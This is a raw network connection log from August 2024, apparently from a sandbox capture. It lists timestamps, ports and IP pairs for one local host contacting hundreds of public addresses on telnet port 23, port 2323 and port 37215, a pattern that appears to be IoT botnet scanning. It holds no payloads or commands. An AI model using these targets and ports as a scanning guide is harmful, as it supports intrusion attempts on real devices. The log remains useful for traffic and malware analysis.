Aug 6, 2024 08:32:57.829751968 CEST	23	61398	50.153.206.199	192.168.2.14
Aug 6, 2024 08:32:57.829752922 CEST	61142	37215	192.168.2.14	156.218.176.57
Aug 6, 2024 08:32:57.829765081 CEST	23	61398	59.212.216.77	192.168.2.14
Aug 6, 2024 08:32:57.829782009 CEST	61398	2323	192.168.2.14	172.140.62.171
Aug 6, 2024 08:32:57.829782009 CEST	61398	23	192.168.2.14	50.153.206.199
Aug 6, 2024 08:32:57.829782963 CEST	37215	61142	41.53.49.47	192.168.2.14
Aug 6, 2024 08:32:57.829787970 CEST	37215	61142	156.206.209.219	192.168.2.14
Aug 6, 2024 08:32:57.829792976 CEST	37215	61142	197.27.94.66	192.168.2.14
Aug 6, 2024 08:32:57.829797029 CEST	37215	61142	197.239.85.60	192.168.2.14
Aug 6, 2024 08:32:57.829801083 CEST	23	61398	89.123.162.228	192.168.2.14
Aug 6, 2024 08:32:57.829804897 CEST	23	61398	119.151.111.189	192.168.2.14
Aug 6, 2024 08:32:57.829807997 CEST	23	61398	208.117.170.10	192.168.2.14
Aug 6, 2024 08:32:57.829811096 CEST	37215	61142	156.3.234.130	192.168.2.14
Aug 6, 2024 08:32:57.829814911 CEST	23	61398	208.10.169.163	192.168.2.14
Aug 6, 2024 08:32:57.829818010 CEST	37215	61142	41.217.116.194	192.168.2.14
Aug 6, 2024 08:32:57.829822063 CEST	37215	61142	156.120.149.131	192.168.2.14
Aug 6, 2024 08:32:57.829826117 CEST	23	61398	62.115.108.25	192.168.2.14
Aug 6, 2024 08:32:57.829878092 CEST	61142	37215	192.168.2.14	41.53.49.47
Aug 6, 2024 08:32:57.829901934 CEST	61142	37215	192.168.2.14	197.239.85.60
Aug 6, 2024 08:32:57.829901934 CEST	61398	23	192.168.2.14	89.123.162.228
Aug 6, 2024 08:32:57.829901934 CEST	61398	23	192.168.2.14	119.151.111.189
Aug 6, 2024 08:32:57.829947948 CEST	61142	37215	192.168.2.14	156.3.234.130
Aug 6, 2024 08:32:57.829952002 CEST	61398	23	192.168.2.14	59.212.216.77
Aug 6, 2024 08:32:57.829952002 CEST	61398	23	192.168.2.14	62.115.108.25
Aug 6, 2024 08:32:57.829952002 CEST	61398	23	192.168.2.14	208.117.170.10
Aug 6, 2024 08:32:57.829957962 CEST	61398	23	192.168.2.14	208.10.169.163
Aug 6, 2024 08:32:57.829957962 CEST	61142	37215	192.168.2.14	156.120.149.131
Aug 6, 2024 08:32:57.829958916 CEST	61142	37215	192.168.2.14	41.217.116.194
Aug 6, 2024 08:32:57.829961061 CEST	61142	37215	192.168.2.14	156.206.209.219
Aug 6, 2024 08:32:57.829961061 CEST	61142	37215	192.168.2.14	197.27.94.66
Aug 6, 2024 08:32:57.830097914 CEST	37215	61142	197.138.97.18	192.168.2.14
Aug 6, 2024 08:32:57.830107927 CEST	37215	61142	197.236.195.48	192.168.2.14
Aug 6, 2024 08:32:57.830137968 CEST	61142	37215	192.168.2.14	197.138.97.18
Aug 6, 2024 08:32:57.830142975 CEST	61142	37215	192.168.2.14	197.236.195.48
Aug 6, 2024 08:32:57.830153942 CEST	37215	61142	41.61.105.166	192.168.2.14
Aug 6, 2024 08:32:57.830163002 CEST	37215	61142	197.225.174.253	192.168.2.14
Aug 6, 2024 08:32:57.830172062 CEST	37215	61142	197.24.106.202	192.168.2.14
Aug 6, 2024 08:32:57.830180883 CEST	37215	61142	156.53.253.58	192.168.2.14
Aug 6, 2024 08:32:57.830185890 CEST	61142	37215	192.168.2.14	41.61.105.166
Aug 6, 2024 08:32:57.830190897 CEST	37215	61142	156.127.251.19	192.168.2.14
Aug 6, 2024 08:32:57.830199957 CEST	61142	37215	192.168.2.14	197.225.174.253
Aug 6, 2024 08:32:57.830213070 CEST	37215	61142	41.216.206.238	192.168.2.14
Aug 6, 2024 08:32:57.830225945 CEST	37215	61142	197.183.249.82	192.168.2.14
Aug 6, 2024 08:32:57.830235958 CEST	37215	61142	156.110.250.215	192.168.2.14
Aug 6, 2024 08:32:57.830244064 CEST	37215	61142	156.215.37.242	192.168.2.14
Aug 6, 2024 08:32:57.830249071 CEST	61142	37215	192.168.2.14	156.127.251.19
Aug 6, 2024 08:32:57.830250025 CEST	61142	37215	192.168.2.14	156.53.253.58
Aug 6, 2024 08:32:57.830250025 CEST	61142	37215	192.168.2.14	41.216.206.238
Aug 6, 2024 08:32:57.830250978 CEST	61142	37215	192.168.2.14	197.24.106.202
Aug 6, 2024 08:32:57.830257893 CEST	61142	37215	192.168.2.14	197.183.249.82
Aug 6, 2024 08:32:57.830259085 CEST	37215	61142	41.84.43.12	192.168.2.14
Aug 6, 2024 08:32:57.830265999 CEST	61142	37215	192.168.2.14	156.110.250.215
Aug 6, 2024 08:32:57.830269098 CEST	37215	61142	41.247.194.250	192.168.2.14
Aug 6, 2024 08:32:57.830277920 CEST	61142	37215	192.168.2.14	156.215.37.242
Aug 6, 2024 08:32:57.830291986 CEST	61142	37215	192.168.2.14	41.84.43.12
Aug 6, 2024 08:32:57.830291986 CEST	61142	37215	192.168.2.14	41.247.194.250
Aug 6, 2024 08:32:57.830303907 CEST	37215	61142	41.51.121.193	192.168.2.14
Aug 6, 2024 08:32:57.830313921 CEST	37215	61142	197.146.41.152	192.168.2.14
Aug 6, 2024 08:32:57.830323935 CEST	37215	61142	41.130.36.148	192.168.2.14
Aug 6, 2024 08:32:57.830337048 CEST	61142	37215	192.168.2.14	41.51.121.193
Aug 6, 2024 08:32:57.830343962 CEST	23	61398	58.214.23.217	192.168.2.14
Aug 6, 2024 08:32:57.830353022 CEST	61142	37215	192.168.2.14	197.146.41.152
Aug 6, 2024 08:32:57.830353022 CEST	61142	37215	192.168.2.14	41.130.36.148
Aug 6, 2024 08:32:57.830362082 CEST	37215	61142	197.21.84.116	192.168.2.14
Aug 6, 2024 08:32:57.830370903 CEST	23	61398	1.54.34.212	192.168.2.14
Aug 6, 2024 08:32:57.830380917 CEST	61398	23	192.168.2.14	58.214.23.217
Aug 6, 2024 08:32:57.830391884 CEST	37215	61142	156.239.82.241	192.168.2.14
Aug 6, 2024 08:32:57.830404043 CEST	23	61398	97.31.198.4	192.168.2.14
Aug 6, 2024 08:32:57.830415010 CEST	23	61398	142.197.83.201	192.168.2.14
Aug 6, 2024 08:32:57.830424070 CEST	23	61398	9.190.188.59	192.168.2.14
Aug 6, 2024 08:32:57.830432892 CEST	37215	61142	41.16.104.34	192.168.2.14
Aug 6, 2024 08:32:57.830437899 CEST	23	61398	64.16.44.40	192.168.2.14
Aug 6, 2024 08:32:57.830440998 CEST	61142	37215	192.168.2.14	197.21.84.116
Aug 6, 2024 08:32:57.830440998 CEST	61398	23	192.168.2.14	1.54.34.212
Aug 6, 2024 08:32:57.830440998 CEST	61398	23	192.168.2.14	97.31.198.4
Aug 6, 2024 08:32:57.830441952 CEST	61142	37215	192.168.2.14	156.239.82.241
Aug 6, 2024 08:32:57.830441952 CEST	61398	23	192.168.2.14	142.197.83.201
Aug 6, 2024 08:32:57.830447912 CEST	23	61398	120.185.10.69	192.168.2.14
Aug 6, 2024 08:32:57.830456972 CEST	23	61398	175.63.67.53	192.168.2.14
Aug 6, 2024 08:32:57.830461979 CEST	61398	23	192.168.2.14	9.190.188.59
Aug 6, 2024 08:32:57.830466986 CEST	23	61398	206.71.139.3	192.168.2.14
Aug 6, 2024 08:32:57.830467939 CEST	61142	37215	192.168.2.14	41.16.104.34
Aug 6, 2024 08:32:57.830471039 CEST	61398	23	192.168.2.14	64.16.44.40
Aug 6, 2024 08:32:57.830486059 CEST	61398	23	192.168.2.14	175.63.67.53
Aug 6, 2024 08:32:57.830487967 CEST	61398	23	192.168.2.14	120.185.10.69
Aug 6, 2024 08:32:57.830499887 CEST	61398	23	192.168.2.14	206.71.139.3
Aug 6, 2024 08:32:57.831029892 CEST	23	61398	85.76.157.17	192.168.2.14
Aug 6, 2024 08:32:57.831041098 CEST	23	61398	109.235.6.119	192.168.2.14
Aug 6, 2024 08:32:57.831048012 CEST	37215	61142	156.141.181.78	192.168.2.14
Aug 6, 2024 08:32:57.831058025 CEST	37215	61142	41.38.242.18	192.168.2.14
Aug 6, 2024 08:32:57.831065893 CEST	37215	61142	197.201.240.82	192.168.2.14
Aug 6, 2024 08:32:57.831074953 CEST	61398	23	192.168.2.14	85.76.157.17
Aug 6, 2024 08:32:57.831074953 CEST	23	61398	24.155.132.156	192.168.2.14
Aug 6, 2024 08:32:57.831074953 CEST	61142	37215	192.168.2.14	156.141.181.78
Aug 6, 2024 08:32:57.831079006 CEST	61398	23	192.168.2.14	109.235.6.119
Aug 6, 2024 08:32:57.831090927 CEST	61142	37215	192.168.2.14	41.38.242.18
Aug 6, 2024 08:32:57.831099033 CEST	23	61398	110.88.87.138	192.168.2.14
Aug 6, 2024 08:32:57.831109047 CEST	37215	61142	197.94.79.101	192.168.2.14
Aug 6, 2024 08:32:57.831118107 CEST	23	61398	189.132.142.228	192.168.2.14
Aug 6, 2024 08:32:57.831126928 CEST	37215	61142	156.165.159.159	192.168.2.14
Aug 6, 2024 08:32:57.831135988 CEST	23	61398	142.158.59.103	192.168.2.14
Aug 6, 2024 08:32:57.831146002 CEST	23	61398	46.68.102.6	192.168.2.14
Aug 6, 2024 08:32:57.831154108 CEST	37215	61142	41.78.110.46	192.168.2.14
Aug 6, 2024 08:32:57.831160069 CEST	61142	37215	192.168.2.14	197.201.240.82
Aug 6, 2024 08:32:57.831160069 CEST	61142	37215	192.168.2.14	197.94.79.101
Aug 6, 2024 08:32:57.831161022 CEST	61142	37215	192.168.2.14	156.165.159.159
Aug 6, 2024 08:32:57.831161976 CEST	61398	23	192.168.2.14	110.88.87.138
Aug 6, 2024 08:32:57.831161976 CEST	37215	61142	41.82.15.248	192.168.2.14
Aug 6, 2024 08:32:57.831161976 CEST	61398	23	192.168.2.14	189.132.142.228
Aug 6, 2024 08:32:57.831161976 CEST	61398	23	192.168.2.14	142.158.59.103
Aug 6, 2024 08:32:57.831166029 CEST	61398	23	192.168.2.14	24.155.132.156
Aug 6, 2024 08:32:57.831175089 CEST	23	61398	129.58.178.108	192.168.2.14
Aug 6, 2024 08:32:57.831185102 CEST	61142	37215	192.168.2.14	41.78.110.46
Aug 6, 2024 08:32:57.831191063 CEST	61142	37215	192.168.2.14	41.82.15.248
Aug 6, 2024 08:32:57.831193924 CEST	23	61398	96.133.81.6	192.168.2.14
Aug 6, 2024 08:32:57.831193924 CEST	61398	23	192.168.2.14	46.68.102.6
Aug 6, 2024 08:32:57.831203938 CEST	61398	23	192.168.2.14	129.58.178.108
Aug 6, 2024 08:32:57.831206083 CEST	23	61398	191.250.68.210	192.168.2.14
Aug 6, 2024 08:32:57.831217051 CEST	23	61398	112.79.197.46	192.168.2.14
Aug 6, 2024 08:32:57.831224918 CEST	23	61398	103.46.9.24	192.168.2.14
Aug 6, 2024 08:32:57.831229925 CEST	61398	23	192.168.2.14	96.133.81.6
Aug 6, 2024 08:32:57.831233978 CEST	23	61398	130.247.144.183	192.168.2.14
Aug 6, 2024 08:32:57.831234932 CEST	61398	23	192.168.2.14	191.250.68.210
Aug 6, 2024 08:32:57.831239939 CEST	61398	23	192.168.2.14	112.79.197.46
Aug 6, 2024 08:32:57.831244946 CEST	37215	61142	197.98.229.22	192.168.2.14
Aug 6, 2024 08:32:57.831254005 CEST	2323	61398	221.10.201.79	192.168.2.14
Aug 6, 2024 08:32:57.831263065 CEST	37215	61142	156.68.200.111	192.168.2.14
Aug 6, 2024 08:32:57.831267118 CEST	61398	23	192.168.2.14	103.46.9.24
Aug 6, 2024 08:32:57.831271887 CEST	23	61398	187.252.16.191	192.168.2.14
Aug 6, 2024 08:32:57.831271887 CEST	61142	37215	192.168.2.14	197.98.229.22
Aug 6, 2024 08:32:57.831274033 CEST	61398	23	192.168.2.14	130.247.144.183
Aug 6, 2024 08:32:57.831283092 CEST	23	61398	20.84.63.49	192.168.2.14
Aug 6, 2024 08:32:57.831289053 CEST	61398	2323	192.168.2.14	221.10.201.79
Aug 6, 2024 08:32:57.831293106 CEST	37215	61142	156.253.80.13	192.168.2.14
Aug 6, 2024 08:32:57.831294060 CEST	61142	37215	192.168.2.14	156.68.200.111
Aug 6, 2024 08:32:57.831302881 CEST	37215	61142	197.126.148.185	192.168.2.14
Aug 6, 2024 08:32:57.831304073 CEST	61398	23	192.168.2.14	187.252.16.191
Aug 6, 2024 08:32:57.831311941 CEST	23	61398	165.95.157.76	192.168.2.14
Aug 6, 2024 08:32:57.831336021 CEST	61398	23	192.168.2.14	20.84.63.49
Aug 6, 2024 08:32:57.831338882 CEST	61142	37215	192.168.2.14	156.253.80.13
Aug 6, 2024 08:32:57.831346989 CEST	61398	23	192.168.2.14	165.95.157.76
Aug 6, 2024 08:32:57.831358910 CEST	61142	37215	192.168.2.14	197.126.148.185
Aug 6, 2024 08:32:57.831516981 CEST	2323	61398	163.204.31.70	192.168.2.14
Aug 6, 2024 08:32:57.831554890 CEST	23	61398	123.149.182.145	192.168.2.14
Aug 6, 2024 08:32:57.831562996 CEST	23	61398	69.247.203.86	192.168.2.14
Aug 6, 2024 08:32:57.831571102 CEST	37215	61142	197.249.182.124	192.168.2.14
Aug 6, 2024 08:32:57.831576109 CEST	61398	2323	192.168.2.14	163.204.31.70
Aug 6, 2024 08:32:57.831581116 CEST	37215	61142	156.253.104.137	192.168.2.14
Aug 6, 2024 08:32:57.831585884 CEST	61398	23	192.168.2.14	123.149.182.145
Aug 6, 2024 08:32:57.831593990 CEST	61398	23	192.168.2.14	69.247.203.86
Aug 6, 2024 08:32:57.831598997 CEST	37215	61142	41.248.163.221	192.168.2.14
Aug 6, 2024 08:32:57.831609964 CEST	23	61398	5.59.80.109	192.168.2.14
Aug 6, 2024 08:32:57.831610918 CEST	61142	37215	192.168.2.14	156.253.104.137
Aug 6, 2024 08:32:57.831612110 CEST	61142	37215	192.168.2.14	197.249.182.124
Aug 6, 2024 08:32:57.831618071 CEST	37215	61142	41.93.81.93	192.168.2.14
Aug 6, 2024 08:32:57.831638098 CEST	61142	37215	192.168.2.14	41.248.163.221
Aug 6, 2024 08:32:57.831648111 CEST	61398	23	192.168.2.14	5.59.80.109
Aug 6, 2024 08:32:57.831648111 CEST	23	61398	8.129.138.138	192.168.2.14
Aug 6, 2024 08:32:57.831650972 CEST	61142	37215	192.168.2.14	41.93.81.93
Aug 6, 2024 08:32:57.831657887 CEST	23	61398	76.177.219.20	192.168.2.14
Aug 6, 2024 08:32:57.831665993 CEST	2323	61398	12.44.139.86	192.168.2.14
Aug 6, 2024 08:32:57.831676006 CEST	23	61398	135.31.144.42	192.168.2.14
Aug 6, 2024 08:32:57.831682920 CEST	61398	23	192.168.2.14	76.177.219.20
Aug 6, 2024 08:32:57.831686020 CEST	37215	61142	41.129.23.199	192.168.2.14
Aug 6, 2024 08:32:57.831687927 CEST	61398	23	192.168.2.14	8.129.138.138
Aug 6, 2024 08:32:57.831698895 CEST	37215	61142	41.81.109.110	192.168.2.14
Aug 6, 2024 08:32:57.831701994 CEST	61398	2323	192.168.2.14	12.44.139.86
Aug 6, 2024 08:32:57.831703901 CEST	61398	23	192.168.2.14	135.31.144.42
Aug 6, 2024 08:32:57.831710100 CEST	37215	61142	197.199.180.234	192.168.2.14
Aug 6, 2024 08:32:57.831720114 CEST	23	61398	49.215.196.171	192.168.2.14
Aug 6, 2024 08:32:57.831720114 CEST	61142	37215	192.168.2.14	41.129.23.199
Aug 6, 2024 08:32:57.831729889 CEST	2323	61398	91.19.204.136	192.168.2.14
Aug 6, 2024 08:32:57.831738949 CEST	23	61398	53.24.140.130	192.168.2.14
Aug 6, 2024 08:32:57.831747055 CEST	23	61398	133.172.43.102	192.168.2.14
Aug 6, 2024 08:32:57.831751108 CEST	37215	61142	41.29.183.36	192.168.2.14
Aug 6, 2024 08:32:57.831751108 CEST	61142	37215	192.168.2.14	197.199.180.234
Aug 6, 2024 08:32:57.831753016 CEST	61142	37215	192.168.2.14	41.81.109.110
Aug 6, 2024 08:32:57.831753016 CEST	61398	2323	192.168.2.14	91.19.204.136
Aug 6, 2024 08:32:57.831754923 CEST	23	61398	129.0.148.184	192.168.2.14
Aug 6, 2024 08:32:57.831758022 CEST	61398	23	192.168.2.14	49.215.196.171
Aug 6, 2024 08:32:57.831767082 CEST	37215	61142	156.105.21.205	192.168.2.14
Aug 6, 2024 08:32:57.831777096 CEST	23	61398	152.161.109.20	192.168.2.14
Aug 6, 2024 08:32:57.831785917 CEST	37215	61142	197.117.39.98	192.168.2.14
Aug 6, 2024 08:32:57.831795931 CEST	23	61398	166.167.154.55	192.168.2.14
Aug 6, 2024 08:32:57.831804991 CEST	23	61398	199.238.86.205	192.168.2.14
Aug 6, 2024 08:32:57.831809044 CEST	61142	37215	192.168.2.14	41.29.183.36
Aug 6, 2024 08:32:57.831809044 CEST	61398	23	192.168.2.14	129.0.148.184
Aug 6, 2024 08:32:57.831811905 CEST	61142	37215	192.168.2.14	156.105.21.205
Aug 6, 2024 08:32:57.831813097 CEST	61398	23	192.168.2.14	133.172.43.102
Aug 6, 2024 08:32:57.831814051 CEST	23	61398	189.146.123.96	192.168.2.14
Aug 6, 2024 08:32:57.831815958 CEST	61398	23	192.168.2.14	53.24.140.130
Aug 6, 2024 08:32:57.831815958 CEST	61398	23	192.168.2.14	152.161.109.20
Aug 6, 2024 08:32:57.831823111 CEST	37215	61142	197.166.50.72	192.168.2.14
Aug 6, 2024 08:32:57.831825972 CEST	61142	37215	192.168.2.14	197.117.39.98
Aug 6, 2024 08:32:57.831825972 CEST	61398	23	192.168.2.14	166.167.154.55
Aug 6, 2024 08:32:57.831841946 CEST	61398	23	192.168.2.14	199.238.86.205
Aug 6, 2024 08:32:57.831849098 CEST	61398	23	192.168.2.14	189.146.123.96
Aug 6, 2024 08:32:57.831852913 CEST	61142	37215	192.168.2.14	197.166.50.72
Aug 6, 2024 08:32:57.832045078 CEST	23	61398	5.196.129.179	192.168.2.14
Aug 6, 2024 08:32:57.832055092 CEST	23	61398	68.4.29.52	192.168.2.14
Aug 6, 2024 08:32:57.832063913 CEST	23	61398	76.193.164.226	192.168.2.14
Aug 6, 2024 08:32:57.832075119 CEST	23	61398	126.25.46.225	192.168.2.14
Aug 6, 2024 08:32:57.832083941 CEST	23	61398	93.175.118.174	192.168.2.14
Aug 6, 2024 08:32:57.832084894 CEST	61398	23	192.168.2.14	5.196.129.179
Aug 6, 2024 08:32:57.832092047 CEST	61398	23	192.168.2.14	68.4.29.52
Aug 6, 2024 08:32:57.832093954 CEST	23	61398	17.118.143.195	192.168.2.14
Aug 6, 2024 08:32:57.832094908 CEST	61398	23	192.168.2.14	76.193.164.226
Aug 6, 2024 08:32:57.832108974 CEST	61398	23	192.168.2.14	126.25.46.225
Aug 6, 2024 08:32:57.832113028 CEST	61398	23	192.168.2.14	93.175.118.174
Aug 6, 2024 08:32:57.832114935 CEST	23	61398	130.86.181.19	192.168.2.14
Aug 6, 2024 08:32:57.832124949 CEST	37215	61142	41.56.49.9	192.168.2.14
Aug 6, 2024 08:32:57.832134008 CEST	23	61398	184.216.61.235	192.168.2.14
Aug 6, 2024 08:32:57.832142115 CEST	61398	23	192.168.2.14	17.118.143.195
Aug 6, 2024 08:32:57.832142115 CEST	23	61398	221.62.193.177	192.168.2.14
Aug 6, 2024 08:32:57.832150936 CEST	61398	23	192.168.2.14	130.86.181.19
Aug 6, 2024 08:32:57.832150936 CEST	37215	61142	41.174.75.23	192.168.2.14
Aug 6, 2024 08:32:57.832163095 CEST	61142	37215	192.168.2.14	41.56.49.9
Aug 6, 2024 08:32:57.832163095 CEST	37215	61142	197.96.202.162	192.168.2.14
Aug 6, 2024 08:32:57.832174063 CEST	61398	23	192.168.2.14	221.62.193.177
Aug 6, 2024 08:32:57.832174063 CEST	2323	61398	116.84.28.26	192.168.2.14
Aug 6, 2024 08:32:57.832176924 CEST	61398	23	192.168.2.14	184.216.61.235
Aug 6, 2024 08:32:57.832182884 CEST	23	61398	196.17.165.170	192.168.2.14
Aug 6, 2024 08:32:57.832187891 CEST	61142	37215	192.168.2.14	197.96.202.162
Aug 6, 2024 08:32:57.832187891 CEST	61142	37215	192.168.2.14	41.174.75.23
Aug 6, 2024 08:32:57.832191944 CEST	37215	61142	41.97.168.243	192.168.2.14
Aug 6, 2024 08:32:57.832201958 CEST	23	61398	144.103.145.28	192.168.2.14
Aug 6, 2024 08:32:57.832204103 CEST	61398	2323	192.168.2.14	116.84.28.26
Aug 6, 2024 08:32:57.832211971 CEST	61398	23	192.168.2.14	196.17.165.170
Aug 6, 2024 08:32:57.832221985 CEST	23	61398	192.174.133.204	192.168.2.14
Aug 6, 2024 08:32:57.832227945 CEST	61142	37215	192.168.2.14	41.97.168.243
Aug 6, 2024 08:32:57.832231998 CEST	61398	23	192.168.2.14	144.103.145.28
Aug 6, 2024 08:32:57.832232952 CEST	37215	61142	41.24.57.223	192.168.2.14
Aug 6, 2024 08:32:57.832242966 CEST	37215	61142	41.226.193.198	192.168.2.14
Aug 6, 2024 08:32:57.832251072 CEST	23	61398	217.219.197.145	192.168.2.14
Aug 6, 2024 08:32:57.832256079 CEST	61398	23	192.168.2.14	192.174.133.204
Aug 6, 2024 08:32:57.832259893 CEST	23	61398	113.213.180.202	192.168.2.14
Aug 6, 2024 08:32:57.832262993 CEST	61142	37215	192.168.2.14	41.24.57.223
Aug 6, 2024 08:32:57.832268000 CEST	37215	61142	197.80.161.38	192.168.2.14
Aug 6, 2024 08:32:57.832273960 CEST	23	61398	78.111.247.137	192.168.2.14
Aug 6, 2024 08:32:57.832278013 CEST	23	61398	132.18.133.7	192.168.2.14
Aug 6, 2024 08:32:57.832282066 CEST	23	61398	27.101.1.240	192.168.2.14
Aug 6, 2024 08:32:57.832284927 CEST	37215	61142	197.67.46.114	192.168.2.14
Aug 6, 2024 08:32:57.832288980 CEST	37215	61142	197.3.120.144	192.168.2.14
Aug 6, 2024 08:32:57.832292080 CEST	23	61398	119.39.45.129	192.168.2.14
Aug 6, 2024 08:32:57.832317114 CEST	61142	37215	192.168.2.14	41.226.193.198
Aug 6, 2024 08:32:57.832318068 CEST	61398	23	192.168.2.14	217.219.197.145
Aug 6, 2024 08:32:57.832357883 CEST	61398	23	192.168.2.14	78.111.247.137
Aug 6, 2024 08:32:57.832360029 CEST	61398	23	192.168.2.14	113.213.180.202
Aug 6, 2024 08:32:57.832415104 CEST	61398	23	192.168.2.14	119.39.45.129
Aug 6, 2024 08:32:57.832423925 CEST	61142	37215	192.168.2.14	197.67.46.114
Aug 6, 2024 08:32:57.832427025 CEST	61142	37215	192.168.2.14	197.3.120.144
Aug 6, 2024 08:32:57.832429886 CEST	61398	23	192.168.2.14	132.18.133.7
Aug 6, 2024 08:32:57.832429886 CEST	61398	23	192.168.2.14	27.101.1.240
Aug 6, 2024 08:32:57.832448959 CEST	37215	61142	156.71.91.95	192.168.2.14
Aug 6, 2024 08:32:57.832452059 CEST	61142	37215	192.168.2.14	197.80.161.38
Aug 6, 2024 08:32:57.832458973 CEST	23	61398	130.9.138.13	192.168.2.14
Aug 6, 2024 08:32:57.832467079 CEST	37215	61142	197.67.152.158	192.168.2.14
Aug 6, 2024 08:32:57.832477093 CEST	23	61398	36.115.79.152	192.168.2.14
Aug 6, 2024 08:32:57.832488060 CEST	61142	37215	192.168.2.14	156.71.91.95
Aug 6, 2024 08:32:57.832499027 CEST	61398	23	192.168.2.14	130.9.138.13
Aug 6, 2024 08:32:57.832499027 CEST	37215	61142	41.114.189.86	192.168.2.14
Aug 6, 2024 08:32:57.832506895 CEST	61398	23	192.168.2.14	36.115.79.152
Aug 6, 2024 08:32:57.832510948 CEST	37215	61142	197.186.115.168	192.168.2.14
Aug 6, 2024 08:32:57.832520008 CEST	23	61398	57.208.33.119	192.168.2.14
Aug 6, 2024 08:32:57.832520008 CEST	61142	37215	192.168.2.14	197.67.152.158
Aug 6, 2024 08:32:57.832530975 CEST	2323	61398	169.85.9.164	192.168.2.14
Aug 6, 2024 08:32:57.832536936 CEST	61142	37215	192.168.2.14	41.114.189.86
Aug 6, 2024 08:32:57.832540035 CEST	23	61398	136.221.124.227	192.168.2.14
Aug 6, 2024 08:32:57.832544088 CEST	61142	37215	192.168.2.14	197.186.115.168
Aug 6, 2024 08:32:57.832547903 CEST	37215	61142	197.230.41.95	192.168.2.14
Aug 6, 2024 08:32:57.832555056 CEST	61398	23	192.168.2.14	57.208.33.119
Aug 6, 2024 08:32:57.832557917 CEST	61398	2323	192.168.2.14	169.85.9.164
Aug 6, 2024 08:32:57.832571030 CEST	61398	23	192.168.2.14	136.221.124.227
Aug 6, 2024 08:32:57.832576990 CEST	61142	37215	192.168.2.14	197.230.41.95
Aug 6, 2024 08:32:57.832597017 CEST	37215	53436	197.90.150.199	192.168.2.14
Aug 6, 2024 08:32:57.832607985 CEST	23	61398	106.91.248.42	192.168.2.14
Aug 6, 2024 08:32:57.832616091 CEST	23	61398	190.188.87.90	192.168.2.14
Aug 6, 2024 08:32:57.832623959 CEST	37215	58932	197.42.1.152	192.168.2.14
Aug 6, 2024 08:32:57.832633018 CEST	37215	41816	41.229.93.116	192.168.2.14
Aug 6, 2024 08:32:57.832640886 CEST	23	61398	179.111.187.164	192.168.2.14
Aug 6, 2024 08:32:57.832644939 CEST	53436	37215	192.168.2.14	197.90.150.199
Aug 6, 2024 08:32:57.832649946 CEST	23	61398	85.21.247.200	192.168.2.14
Aug 6, 2024 08:32:57.832653999 CEST	61398	23	192.168.2.14	106.91.248.42
Aug 6, 2024 08:32:57.832659006 CEST	37215	46704	156.20.59.113	192.168.2.14
Aug 6, 2024 08:32:57.832664013 CEST	61398	23	192.168.2.14	190.188.87.90
Aug 6, 2024 08:32:57.832668066 CEST	37215	61142	197.236.188.89	192.168.2.14
Aug 6, 2024 08:32:57.832670927 CEST	58932	37215	192.168.2.14	197.42.1.152
Aug 6, 2024 08:32:57.832676888 CEST	37215	33714	197.14.35.101	192.168.2.14
Aug 6, 2024 08:32:57.832678080 CEST	41816	37215	192.168.2.14	41.229.93.116
Aug 6, 2024 08:32:57.832680941 CEST	61398	23	192.168.2.14	85.21.247.200
Aug 6, 2024 08:32:57.832691908 CEST	46704	37215	192.168.2.14	156.20.59.113
Aug 6, 2024 08:32:57.832695007 CEST	23	61398	69.210.83.150	192.168.2.14
Aug 6, 2024 08:32:57.832700014 CEST	61142	37215	192.168.2.14	197.236.188.89
Aug 6, 2024 08:32:57.832703114 CEST	61398	23	192.168.2.14	179.111.187.164
Aug 6, 2024 08:32:57.832705021 CEST	23	61398	65.163.71.162	192.168.2.14
Aug 6, 2024 08:32:57.832715034 CEST	37215	61142	156.37.108.58	192.168.2.14
Aug 6, 2024 08:32:57.832715034 CEST	33714	37215	192.168.2.14	197.14.35.101
Aug 6, 2024 08:32:57.832724094 CEST	61398	23	192.168.2.14	69.210.83.150
Aug 6, 2024 08:32:57.832726002 CEST	37215	45330	41.218.183.57	192.168.2.14
Aug 6, 2024 08:32:57.832736015 CEST	37215	61142	197.131.254.153	192.168.2.14
Aug 6, 2024 08:32:57.832736015 CEST	61398	23	192.168.2.14	65.163.71.162
Aug 6, 2024 08:32:57.832745075 CEST	61142	37215	192.168.2.14	156.37.108.58
Aug 6, 2024 08:32:57.832746029 CEST	37215	61142	156.233.193.250	192.168.2.14
Aug 6, 2024 08:32:57.832756042 CEST	45330	37215	192.168.2.14	41.218.183.57
Aug 6, 2024 08:32:57.832765102 CEST	61142	37215	192.168.2.14	197.131.254.153
Aug 6, 2024 08:32:57.832782030 CEST	61142	37215	192.168.2.14	156.233.193.250
Aug 6, 2024 08:32:57.832787037 CEST	44302	37215	192.168.2.14	156.99.124.37
Aug 6, 2024 08:32:57.832792044 CEST	49670	37215	192.168.2.14	197.119.21.203
Aug 6, 2024 08:32:57.832895994 CEST	41024	37215	192.168.2.14	156.5.65.103
Aug 6, 2024 08:32:57.832895994 CEST	47718	37215	192.168.2.14	197.150.61.72
Aug 6, 2024 08:32:57.832902908 CEST	37666	37215	192.168.2.14	197.79.169.4
Aug 6, 2024 08:32:57.832912922 CEST	41740	37215	192.168.2.14	156.138.84.192
Aug 6, 2024 08:32:57.832914114 CEST	60240	37215	192.168.2.14	41.67.110.230
Aug 6, 2024 08:32:57.832912922 CEST	51722	37215	192.168.2.14	156.60.205.144
Aug 6, 2024 08:32:57.832914114 CEST	53354	37215	192.168.2.14	41.206.96.163
Aug 6, 2024 08:32:57.832916975 CEST	52588	37215	192.168.2.14	41.89.37.118
Aug 6, 2024 08:32:57.832967043 CEST	56304	37215	192.168.2.14	156.226.194.179
Aug 6, 2024 08:32:57.832967997 CEST	58810	37215	192.168.2.14	41.175.207.136
Aug 6, 2024 08:32:57.832973003 CEST	49632	37215	192.168.2.14	41.99.246.34
Aug 6, 2024 08:32:57.832988024 CEST	50104	37215	192.168.2.14	41.139.158.191
Aug 6, 2024 08:32:57.833013058 CEST	43240	37215	192.168.2.14	41.180.58.253
Aug 6, 2024 08:32:57.833026886 CEST	50328	37215	192.168.2.14	156.210.44.233
Aug 6, 2024 08:32:57.833026886 CEST	56768	37215	192.168.2.14	197.229.186.220
Aug 6, 2024 08:32:57.833049059 CEST	50696	37215	192.168.2.14	197.201.238.246
Aug 6, 2024 08:32:57.833054066 CEST	55438	37215	192.168.2.14	41.17.186.253
Aug 6, 2024 08:32:57.833077908 CEST	42256	37215	192.168.2.14	197.170.123.35
Aug 6, 2024 08:32:57.833098888 CEST	53042	37215	192.168.2.14	41.85.183.189
Aug 6, 2024 08:32:57.833100080 CEST	55402	37215	192.168.2.14	197.132.30.188
Aug 6, 2024 08:32:57.833110094 CEST	43042	37215	192.168.2.14	156.234.152.134
